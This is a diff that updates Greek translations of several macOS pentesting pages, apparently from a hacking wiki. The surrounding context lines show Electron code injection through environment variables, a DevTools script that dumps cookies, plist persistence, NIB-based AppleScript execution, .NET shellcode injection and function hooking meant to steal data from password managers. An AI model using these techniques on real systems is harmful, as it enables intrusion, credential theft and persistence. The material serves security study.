- Χρησιμοποιώντας **συμβολικούς συνδέσμους** ή **σκληρούς συνδέσμους**: Συνήθως η πιο κοινή κατάχρηση είναι να **τοποθετήσετε έναν σύνδεσμο με τα δικαιώματα του χρήστη μας**, και **να τον δείξετε σε μια τοποθεσία υψηλότερης άδειας**. Η ανίχνευση είναι πολύ απλή και για τους σκληρούς και για τους συμβολικούς συνδέσμους. Αν η διαδικασία που δημιουργεί τον σύνδεσμο έχει **διαφορετικό επίπεδο άδειας** από το αρχείο στόχο, δημιουργούμε μια **ειδοποίηση**. Δυστυχώς, στην περίπτωση των συμβολικών συνδέσμων, η απαγόρευση δεν είναι δυνατή, καθώς δεν έχουμε πληροφορίες σχετικά με τον προορισμό του συνδέσμου πριν από τη δημιουργία του. Αυτή είναι μια περιοριστική δυνατότητα του πλαισίου EndpointSecuriy της Apple.
|
||||
|
||||
### Κλήσεις που γίνονται από άλλες διαδικασίες
|
||||
|
||||
|
||||
@ -93,7 +93,7 @@ vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
Η τοποθέτηση ενός σημείου για την επαναγραφή ενός δείκτη συνάρτησης είναι απαραίτητη, και στο .NET Core, αυτό μπορεί να γίνει στοχεύοντας τον **Dynamic Function Table (DFT)**. Αυτός ο πίνακας, που περιγράφεται στο [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), χρησιμοποιείται από το runtime για τις βοηθητικές συναρτήσεις JIT compilation.
|
||||
|
||||
Για συστήματα x64, η αναζήτηση υπογραφών μπορεί να χρησιμοποιηθεί για να βρει μια αναφορά στο σύμβολο `_hlpDynamicFuncTable` στο `libcorclr.dll`.
|
||||
Για συστήματα x64, η αναζήτηση υπογραφών μπορεί να χρησιμοποιηθεί για να βρεθεί μια αναφορά στο σύμβολο `_hlpDynamicFuncTable` στο `libcorclr.dll`.
|
||||
|
||||
Η συνάρτηση debugger `MT_GetDCB` παρέχει χρήσιμες πληροφορίες, συμπεριλαμβανομένης της διεύθυνσης μιας βοηθητικής συνάρτησης, `m_helperRemoteStartAddr`, που υποδεικνύει την τοποθεσία του `libcorclr.dll` στη μνήμη της διαδικασίας. Αυτή η διεύθυνση χρησιμοποιείται στη συνέχεια για να ξεκινήσει μια αναζήτηση για το DFT και να επαναγραφεί ένας δείκτης συνάρτησης με τη διεύθυνση του shellcode.
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Οι περιηγητές που βασίζονται στο Chromium, όπως το Google Chrome, το Microsoft Edge, το Brave και άλλοι. Αυτοί οι περιηγητές είναι χτισμένοι πάνω στο έργο ανοιχτού κώδικα Chromium, που σημαίνει ότι μοιράζονται μια κοινή βάση και, επομένως, έχουν παρόμοιες λειτουργίες και επιλογές προγραμματιστή.
|
||||
Οι περιηγητές που βασίζονται στο Chromium, όπως το Google Chrome, το Microsoft Edge, το Brave και άλλοι. Αυτοί οι περιηγητές είναι χτισμένοι πάνω στο έργο ανοιχτού κώδικα Chromium, που σημαίνει ότι μοιράζονται μια κοινή βάση και, επομένως, έχουν παρόμοιες λειτουργίες και επιλογές προγραμματιστών.
|
||||
|
||||
#### `--load-extension` Flag
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
#### `--use-fake-ui-for-media-stream` Flag
|
||||
|
||||
Η σημαία `--use-fake-ui-for-media-stream` είναι μια άλλη επιλογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί για να ξεκινήσει περιηγητές που βασίζονται στο Chromium. Αυτή η σημαία έχει σχεδιαστεί για να **παρακάμπτει τις κανονικές προτροπές χρήστη που ζητούν άδεια για πρόσβαση σε ροές μέσων από την κάμερα και το μικρόφωνο**. Όταν χρησιμοποιείται αυτή η σημαία, ο περιηγητής χορηγεί αυτόματα άδεια σε οποιαδήποτε ιστοσελίδα ή εφαρμογή ζητά πρόσβαση στην κάμερα ή το μικρόφωνο.
|
||||
Η σημαία `--use-fake-ui-for-media-stream` είναι μια άλλη επιλογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί για να ξεκινήσει περιηγητές που βασίζονται στο Chromium. Αυτή η σημαία έχει σχεδιαστεί για να **παρακάμπτει τις κανονικές προτροπές του χρήστη που ζητούν άδεια για πρόσβαση σε ροές μέσων από την κάμερα και το μικρόφωνο**. Όταν χρησιμοποιείται αυτή η σημαία, ο περιηγητής χορηγεί αυτόματα άδεια σε οποιαδήποτε ιστοσελίδα ή εφαρμογή ζητά πρόσβαση στην κάμερα ή το μικρόφωνο.
|
||||
|
||||
### Tools
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@
|
||||
1. **Αρχική Ρύθμιση**:
|
||||
- Δημιουργήστε ένα νέο αρχείο NIB χρησιμοποιώντας το XCode.
|
||||
- Προσθέστε ένα Αντικείμενο στην διεπαφή, ρυθμίζοντας την κλάση του σε `NSAppleScript`.
|
||||
- Ρυθμίστε την αρχική ιδιότητα `source` μέσω των Χαρακτηριστικών Χρόνου Εκτέλεσης που Ορίζονται από τον Χρήστη.
|
||||
- Ρυθμίστε την αρχική ιδιότητα `source` μέσω των User Defined Runtime Attributes.
|
||||
2. **Gadget Εκτέλεσης Κώδικα**:
|
||||
- Η ρύθμιση διευκολύνει την εκτέλεση AppleScript κατόπιν αιτήματος.
|
||||
- Ενσωματώστε ένα κουμπί για να ενεργοποιήσετε το αντικείμενο `Apple Script`, ενεργοποιώντας συγκεκριμένα τον επιλεγέα `executeAndReturnError:`.
|
||||
@ -30,13 +30,13 @@ set theDialogText to "PWND"
|
||||
display dialog theDialogText
|
||||
```
|
||||
|
||||
- Δοκιμάστε εκτελώντας το στον αποσφαλματωτή XCode και κάνοντας κλικ στο κουμπί.
|
||||
- Δοκιμάστε εκτελώντας το στον debugger του XCode και κάνοντας κλικ στο κουμπί.
|
||||
|
||||
#### Στοχοποίηση μιας Εφαρμογής (Παράδειγμα: Pages)
|
||||
|
||||
1. **Προετοιμασία**:
|
||||
- Αντιγράψτε την στοχοθετημένη εφαρμογή (π.χ., Pages) σε έναν ξεχωριστό φάκελο (π.χ., `/tmp/`).
|
||||
- Ξεκινήστε την εφαρμογή για να παρακάμψετε τα ζητήματα του Gatekeeper και να την αποθηκεύσετε στην κρυφή μνήμη.
|
||||
- Ξεκινήστε την εφαρμογή για να παρακάμψετε τα προβλήματα του Gatekeeper και να την αποθηκεύσετε στην κρυφή μνήμη.
|
||||
2. **Αντικατάσταση Αρχείου NIB**:
|
||||
- Αντικαταστήστε ένα υπάρχον αρχείο NIB (π.χ., About Panel NIB) με το κατασκευασμένο αρχείο DirtyNIB.
|
||||
3. **Εκτέλεση**:
|
||||
@ -48,7 +48,7 @@ display dialog theDialogText
|
||||
|
||||
### Δείγμα Κώδικα: Κακόβουλο Αρχείο .xib
|
||||
|
||||
- Αποκτήστε πρόσβαση και αναθεωρήστε ένα [**δείγμα κακόβουλου αρχείου .xib**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) που δείχνει την εκτέλεση αυθαίρετου κώδικα.
|
||||
- Αποκτήστε πρόσβαση και ελέγξτε ένα [**δείγμα κακόβουλου αρχείου .xib**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) που δείχνει την εκτέλεση αυθαίρετου κώδικα.
|
||||
|
||||
### Άλλο Παράδειγμα
|
||||
|
||||
|
||||
@ -12,14 +12,14 @@
|
||||
Αυτές οι τεχνικές θα συζητηθούν στη συνέχεια, αλλά πρόσφατα το Electron έχει προσθέσει αρκετές **σημαίες ασφαλείας για να τις αποτρέψει**. Αυτές είναι οι [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) και αυτές είναι οι οποίες χρησιμοποιούνται για να **αποτρέψουν** τις εφαρμογές Electron στο macOS από το **να φορτώνουν αυθαίρετο κώδικα**:
|
||||
|
||||
- **`RunAsNode`**: Αν είναι απενεργοποιημένο, αποτρέπει τη χρήση της μεταβλητής περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** για την έγχυση κώδικα.
|
||||
- **`EnableNodeCliInspectArguments`**: Αν είναι απενεργοποιημένο, παράμετροι όπως `--inspect`, `--inspect-brk` δεν θα γίνουν σεβαστοί. Αποφεύγοντας αυτόν τον τρόπο για να εγχύσουν κώδικα.
|
||||
- **`EnableNodeCliInspectArguments`**: Αν είναι απενεργοποιημένο, παράμετροι όπως `--inspect`, `--inspect-brk` δεν θα γίνουν σεβαστοί. Αποφεύγοντας αυτόν τον τρόπο για να εγχυθεί κώδικας.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Αν είναι ενεργοποιημένο, το φορτωμένο **`asar`** **αρχείο** θα **επικυρωθεί** από το macOS. **Αποτρέποντας** με αυτόν τον τρόπο **την έγχυση κώδικα** τροποποιώντας τα περιεχόμενα αυτού του αρχείου.
|
||||
- **`OnlyLoadAppFromAsar`**: Αν αυτό είναι ενεργοποιημένο, αντί να ψάχνει να φορτώσει με την εξής σειρά: **`app.asar`**, **`app`** και τελικά **`default_app.asar`**. Θα ελέγξει και θα χρησιμοποιήσει μόνο το app.asar, διασφαλίζοντας έτσι ότι όταν **συνδυάζεται** με τη σημαία **`embeddedAsarIntegrityValidation`** είναι **αδύνατο** να **φορτωθεί μη επικυρωμένος κώδικας**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Αν είναι ενεργοποιημένο, η διαδικασία του προγράμματος περιήγησης χρησιμοποιεί το αρχείο που ονομάζεται `browser_v8_context_snapshot.bin` για το V8 snapshot της.
|
||||
|
||||
Μια άλλη ενδιαφέρουσα σημαία που δεν θα αποτρέπει την έγχυση κώδικα είναι:
|
||||
|
||||
- **EnableCookieEncryption**: Αν είναι ενεργοποιημένο, το cookie store στον δίσκο είναι κρυπτογραφημένο χρησιμοποιώντας κλειδιά κρυπτογραφίας επιπέδου OS.
|
||||
- **EnableCookieEncryption**: Αν είναι ενεργοποιημένο, το cookie store στον δίσκο κρυπτογραφείται χρησιμοποιώντας κλειδιά κρυπτογραφίας επιπέδου OS.
|
||||
|
||||
### Checking Electron Fuses
|
||||
|
||||
@ -46,11 +46,11 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδεικνύει αν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλά τροποποιήστε τον κωδικό hex (`0x30` είναι `0` και `0x31` είναι `1`) για **να τροποποιήσετε τις τιμές ασφάλειας**.
|
||||
Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδεικνύει αν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλώς τροποποιήστε τον κωδικό hex (`0x30` είναι `0` και `0x31` είναι `1`) για να **τροποποιήσετε τις τιμές ασφάλειας**.
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Σημειώστε ότι αν προσπαθήσετε να **επικαλύψετε** το **`Electron Framework`** δυαδικό αρχείο μέσα σε μια εφαρμογή με αυτούς τους τροποποιημένους byte, η εφαρμογή δεν θα εκτελείται.
|
||||
Σημειώστε ότι αν προσπαθήσετε να **επικαλύψετε** το **`Electron Framework`** δυαδικό αρχείο μέσα σε μια εφαρμογή με αυτά τα bytes τροποποιημένα, η εφαρμογή δεν θα εκτελείται.
|
||||
|
||||
## RCE προσθήκη κώδικα σε εφαρμογές Electron
|
||||
|
||||
@ -64,7 +64,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
||||
>
|
||||
> Κάνοντάς το αυτό το μονοπάτι επίθεσης πιο περίπλοκο (ή αδύνατο).
|
||||
|
||||
Σημειώστε ότι είναι δυνατόν να παρακαμφθεί η απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** αντιγράφοντας την εφαρμογή σε άλλο κατάλογο (όπως **`/tmp`**), μετονομάζοντας τον φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιώντας** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, μετονομάζοντάς το πίσω σε **`app.app/Contents`** και εκτελώντας το.
|
||||
Σημειώστε ότι είναι δυνατόν να παρακάμψετε την απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** αντιγράφοντας την εφαρμογή σε άλλο κατάλογο (όπως **`/tmp`**), μετονομάζοντας τον φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιώντας** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, μετονομάζοντάς το πίσω σε **`app.app/Contents`** και εκτελώντας το.
|
||||
|
||||
Μπορείτε να αποσυμπιέσετε τον κώδικα από το αρχείο asar με:
|
||||
```bash
|
||||
@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Αν ο διακόπτης **`EnableNodeOptionsEnvironmentVariable`** είναι **απενεργοποιημένος**, η εφαρμογή θα **αγνοήσει** τη μεταβλητή περιβάλλοντος **NODE_OPTIONS** κατά την εκκίνηση, εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ρυθμισμένη, η οποία θα **αγνοηθεί** επίσης αν ο διακόπτης **`RunAsNode`** είναι απενεργοποιημένος.
|
||||
> Αν η ασφάλεια **`EnableNodeOptionsEnvironmentVariable`** είναι **απενεργοποιημένη**, η εφαρμογή θα **αγνοήσει** τη μεταβλητή περιβάλλοντος **NODE_OPTIONS** κατά την εκκίνηση, εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ρυθμισμένη, η οποία θα **αγνοηθεί** επίσης αν η ασφάλεια **`RunAsNode`** είναι απενεργοποιημένη.
|
||||
>
|
||||
> Αν δεν ρυθμίσετε **`ELECTRON_RUN_AS_NODE`**, θα βρείτε το **σφάλμα**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
|
||||
@ -169,7 +169,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
Σε [**αυτή την ανάρτηση**](https://hackerone.com/reports/1274695), αυτή η αποσφαλμάτωση κακοποιείται για να κάνει ένα headless chrome **να κατεβάζει αυθαίρετα αρχεία σε αυ
|
||||
Σε [**αυτήν την ανάρτηση**](https://hackerone.com/reports/1274695), αυτή η αποσφαλμάτωση κακοποιείται για να κάνει ένα headless chrome **να κατεβάζει αυθαίρετα αρχεία σε αυθαίρετες τοποθεσίες**.
|
||||
|
||||
### Εισαγωγή από το App Plist
|
||||
|
||||
Μπορείτε να κακοποιήσετε αυτήν την env μεταβλητή σε ένα plist για να διατηρήσετε την επιμονή προσθέτοντας αυτά τα κλειδιά:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Δημιουργήστε ένα **dylib** με μια ενότητα **`__interpose` (`__DATA___interpose`)** (ή μια ενότητα με σημαία **`S_INTERPOSING`**) που περιέχει ζεύγη **δείκτες συναρτήσεων** που αναφέρονται στις **αρχικές** και **αντικαταστάσιμες** συναρτήσεις.
|
||||
|
||||
Στη συνέχεια, **εισάγετε** το dylib με **`DYLD_INSERT_LIBRARIES`** (η διαμεσολάβηση πρέπει να συμβαίνει πριν φορτωθεί η κύρια εφαρμογή). Προφανώς, οι [**περιορισμοί** που εφαρμόζονται στη χρήση του **`DYLD_INSERT_LIBRARIES`** ισχύουν και εδώ](macos-library-injection/#check-restrictions).
|
||||
Στη συνέχεια, **εισάγετε** το dylib με **`DYLD_INSERT_LIBRARIES`** (η διαμεσολάβηση πρέπει να συμβαίνει πριν φορτωθεί η κύρια εφαρμογή). Προφανώς, οι [**περιορισμοί** που ισχύουν για τη χρήση του **`DYLD_INSERT_LIBRARIES`** ισχύουν και εδώ](macos-library-injection/#check-restrictions).
|
||||
|
||||
### Interpose printf
|
||||
|
||||
@ -78,15 +78,15 @@ DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||
Hello from interpose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Η **`DYLD_PRINT_INTERPOSTING`** μεταβλητή περιβάλλοντος μπορεί να χρησιμοποιηθεί για την αποσφαλμάτωση της παρεμβολής και θα εκτυπώσει τη διαδικασία παρεμβολής.
|
||||
> Η μεταβλητή περιβάλλοντος **`DYLD_PRINT_INTERPOSTING`** μπορεί να χρησιμοποιηθεί για την αποσφαλμάτωση της διαμεσολάβησης και θα εκτυπώσει τη διαδικασία διαμεσολάβησης.
|
||||
|
||||
Επίσης σημειώστε ότι **η παρεμβολή συμβαίνει μεταξύ της διαδικασίας και των φορτωμένων βιβλιοθηκών**, δεν λειτουργεί με την κρυφή μνήμη κοινών βιβλιοθηκών.
|
||||
Επίσης, σημειώστε ότι **η διαμεσολάβηση συμβαίνει μεταξύ της διαδικασίας και των φορτωμένων βιβλιοθηκών**, δεν λειτουργεί με την κρυφή μνήμη κοινών βιβλιοθηκών.
|
||||
|
||||
### Δυναμική Παρεμβολή
|
||||
### Δυναμική Διαμεσολάβηση
|
||||
|
||||
Τώρα είναι επίσης δυνατό να παρεμβληθεί μια συνάρτηση δυναμικά χρησιμοποιώντας τη συνάρτηση **`dyld_dynamic_interpose`**. Αυτό επιτρέπει την προγραμματική παρεμβολή μιας συνάρτησης σε πραγματικό χρόνο αντί να το κάνετε μόνο από την αρχή.
|
||||
Τώρα είναι επίσης δυνατό να διαμεσολαβήσετε μια συνάρτηση δυναμικά χρησιμοποιώντας τη συνάρτηση **`dyld_dynamic_interpose`**. Αυτό επιτρέπει την προγραμματική διαμεσολάβηση μιας συνάρτησης σε πραγματικό χρόνο αντί να το κάνετε μόνο από την αρχή.
|
||||
|
||||
Απλώς χρειάζεται να υποδείξετε τα **ζεύγη** της **συνάρτησης που θα αντικατασταθεί και της συνάρτησης αντικατάστασης**.
|
||||
Απλώς χρειάζεται να υποδείξετε τα **tuples** της **συνάρτησης που θα αντικατασταθεί και της συνάρτησης αντικατάστασης**.
|
||||
```c
|
||||
struct dyld_interpose_tuple {
|
||||
const void* replacement;
|
||||
@ -95,20 +95,20 @@ const void* replacee;
|
||||
extern void dyld_dynamic_interpose(const struct mach_header* mh,
|
||||
const struct dyld_interpose_tuple array[], size_t count);
|
||||
```
|
||||
## Μέθοδος Swizzling
|
||||
## Method Swizzling
|
||||
|
||||
Στο ObjectiveC, έτσι καλείται μια μέθοδος: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
Στην ObjectiveC, έτσι καλείται μια μέθοδος: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
Απαιτείται το **αντικείμενο**, η **μέθοδος** και οι **παράμετροι**. Και όταν καλείται μια μέθοδος, ένα **msg αποστέλλεται** χρησιμοποιώντας τη συνάρτηση **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
Το αντικείμενο είναι **`someObject`**, η μέθοδος είναι **`@selector(method1p1:p2:)`** και οι παράμετροι είναι **value1**, **value2**.
|
||||
Το αντικείμενο είναι **`someObject`**, η μέθοδος είναι **`@selector(method1p1:p2:)`** και τα επιχειρήματα είναι **value1**, **value2**.
|
||||
|
||||
Ακολουθώντας τις δομές αντικειμένων, είναι δυνατή η πρόσβαση σε ένα **πίνακα μεθόδων** όπου οι **ονομασίες** και οι **δείκτες** στον κώδικα της μεθόδου είναι **τοποθετημένοι**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελάζονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, επομένως είναι δυνατή η ανάκτησή τους με `otool -ov </path/bin>` ή [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
|
||||
### Πρόσβαση στις ακατέργαστες μεθόδους
|
||||
### Accessing the raw methods
|
||||
|
||||
Είναι δυνατή η πρόσβαση στις πληροφορίες των μεθόδων όπως το όνομα, ο αριθμός παραμέτρων ή η διεύθυνση όπως στο παρακάτω παράδειγμα:
|
||||
```objectivec
|
||||
@ -226,7 +226,7 @@ return 0;
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Σε αυτή την περίπτωση, αν ο **κωδικός υλοποίησης της νόμιμης** μεθόδου **ελέγχει** το **όνομα** της **μεθόδου**, θα μπορούσε να **ανιχνεύσει** αυτή τη swizzling και να την αποτρέψει από το να εκτελεστεί.
|
||||
> Σε αυτή την περίπτωση, αν ο **κωδικός υλοποίησης της νόμιμης** μεθόδου **επαληθεύει** το **όνομα** της **μεθόδου**, θα μπορούσε να **ανιχνεύσει** αυτή τη swizzling και να την αποτρέψει από το να εκτελεστεί.
|
||||
>
|
||||
> Η παρακάτω τεχνική δεν έχει αυτόν τον περιορισμό.
|
||||
|
||||
@ -290,11 +290,11 @@ return 0;
|
||||
|
||||
Σε αυτή τη σελίδα συζητήθηκαν διάφοροι τρόποι για να γίνει hook σε συναρτήσεις. Ωστόσο, περιλάμβαναν **την εκτέλεση κώδικα μέσα στη διαδικασία για επίθεση**.
|
||||
|
||||
Για να το κάνετε αυτό, η πιο εύκολη τεχνική είναι να εισάγετε ένα [Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). Ωστόσο, υποθέτω ότι αυτό θα μπορούσε επίσης να γίνει μέσω [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
Για να το κάνετε αυτό, η πιο εύκολη τεχνική που μπορείτε να χρησιμοποιήσετε είναι να εισάγετε ένα [Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking](macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md). Ωστόσο, υποθέτω ότι αυτό θα μπορούσε επίσης να γίνει μέσω [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
|
||||
Ωστόσο, και οι δύο επιλογές είναι **περιορισμένες** σε **μη προστατευμένα** δυαδικά αρχεία/διαδικασίες. Ελέγξτε κάθε τεχνική για να μάθετε περισσότερα σχετικά με τους περιορισμούς.
|
||||
|
||||
Ωστόσο, μια επίθεση hooking function είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να **κλέψει ευαίσθητες πληροφορίες από μέσα σε μια διαδικασία** (αν όχι, θα κάνατε απλώς μια επίθεση injection διαδικασίας). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχει κατεβάσει ο χρήστης, όπως το MacPass.
|
||||
Ωστόσο, μια επίθεση hooking function είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να **κλέψει ευαίσθητες πληροφορίες από μέσα σε μια διαδικασία** (αν όχι, θα κάνατε απλώς μια επίθεση injection διαδικασίας). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχουν κατεβάσει οι χρήστες, όπως το MacPass.
|
||||
|
||||
Έτσι, το vector του επιτιθέμενου θα ήταν είτε να βρει μια ευπάθεια είτε να αφαιρέσει την υπογραφή της εφαρμογής, εισάγοντας τη μεταβλητή περιβάλλοντος **`DYLD_INSERT_LIBRARIES`** μέσω του Info.plist της εφαρμογής προσθέτοντας κάτι όπως:
|
||||
```xml
|
||||
|
||||
@ -20,7 +20,7 @@
|
||||
|
||||
Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια task, είναι κλειδί για αυτή την επικοινωνία. Τα πιθανά **δικαιώματα θύρας** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στη θύρα. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο αναγνωστικό άκρο ενός σωλήνα).
|
||||
- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στη θύρα. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφείς αρχείων στο αναγνωριστικό ανάγνωσης ενός σωλήνα).
|
||||
- Μια **task με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **δική της task έχει Δικαίωμα Λήψης πάνω στη θύρα** της.
|
||||
- Εάν ο ιδιοκτήτης του Δικαιώματος Λήψης **πεθάνει** ή το σκοτώσει, το **δικαίωμα αποστολής γίνεται άχρηστο (νεκρό όνομα).**
|
||||
- **Δικαίωμα αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα.
|
||||
@ -35,7 +35,7 @@
|
||||
|
||||
### File Ports
|
||||
|
||||
Οι θύρες αρχείων επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε Mach ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από μια δεδομένη FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία μιας FD από μια fileport χρησιμοποιώντας `fileport_makefd`.
|
||||
Οι θύρες αρχείων επιτρέπουν την ενσωμάτωση περιγραφέων αρχείων σε Mach ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από έναν δεδομένο FD χρησιμοποιώντας το `fileport_makeport` και η δημιουργία ενός FD από μια fileport χρησιμοποιώντας το `fileport_makefd`.
|
||||
|
||||
### Establishing a communication
|
||||
|
||||
@ -43,12 +43,12 @@
|
||||
|
||||
Για αυτό, εμπλέκεται ο **bootstrap server** (**launchd** στο mac), καθώς **ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server**, είναι δυνατή η αίτηση για ένα δικαίωμα να στείλει ένα μήνυμα σε μια άλλη διαδικασία:
|
||||
|
||||
1. Η task **A** δημιουργεί μια **νέα θύρα**, αποκτώντας το **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** πάνω της.
|
||||
2. Η task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για τη θύρα**.
|
||||
3. Η task **A** καθορίζει μια **σύνδεση** με τον **bootstrap server**, και **του στέλνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** για τη θύρα που δημιούργησε στην αρχή.
|
||||
1. Η Task **A** δημιουργεί μια **νέα θύρα**, αποκτώντας το **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** πάνω της.
|
||||
2. Η Task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για τη θύρα**.
|
||||
3. Η Task **A** καθορίζει μια **σύνδεση** με τον **bootstrap server**, και **του στέλνει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** για τη θύρα που δημιούργησε στην αρχή.
|
||||
- Θυμηθείτε ότι ο καθένας μπορεί να αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στον bootstrap server.
|
||||
4. Η task A στέλνει ένα μήνυμα `bootstrap_register` στον bootstrap server για **να συσχετίσει τη δεδομένη θύρα με ένα όνομα** όπως `com.apple.taska`
|
||||
